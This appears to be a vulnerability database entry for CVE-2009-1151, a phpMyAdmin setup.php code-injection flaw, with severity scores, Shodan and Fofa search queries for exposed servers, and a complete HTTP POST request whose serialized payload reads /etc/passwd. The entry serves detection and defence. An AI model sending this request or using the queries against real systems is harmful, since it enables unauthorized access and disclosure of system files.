🔙 목록으로 돌아가기

CVE-2009-1151: PhpMyAdmin Scripts - Remote Code Execution

TitlePhpMyAdmin Scripts - Remote Code Execution
Authorprincechaddha
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.
RemediationUpdate PhpMyAdmin to the latest version or apply the necessary patches.
CVSS Score7.5
EPSS Score0.92956
CVE IDCVE-2009-1151
CWE IDCWE-94
Shodan Queryhttp.title:"phpmyadmin"http.component:"phpmyadmin"cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
Fofa Querytitle="phpmyadmin"body="pma_servername" && body="4.8.4"
Tags cve cve2009 deserialization kev vulhub phpmyadmin rce vkev vuln

🔍 Vulnerability Description

PhpMyAdmin Scripts 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 are susceptible to a remote code execution in setup.php that allows remote attackers to inject arbitrary PHP code into a configuration file via the save action. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.

🌐 HTTP Request

POST /scripts/setup.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Content-Length: 80
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2009/CVE-2009-1151.yaml

🦈 Packet Capture: ⬇️ Download cve-2009-1151.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A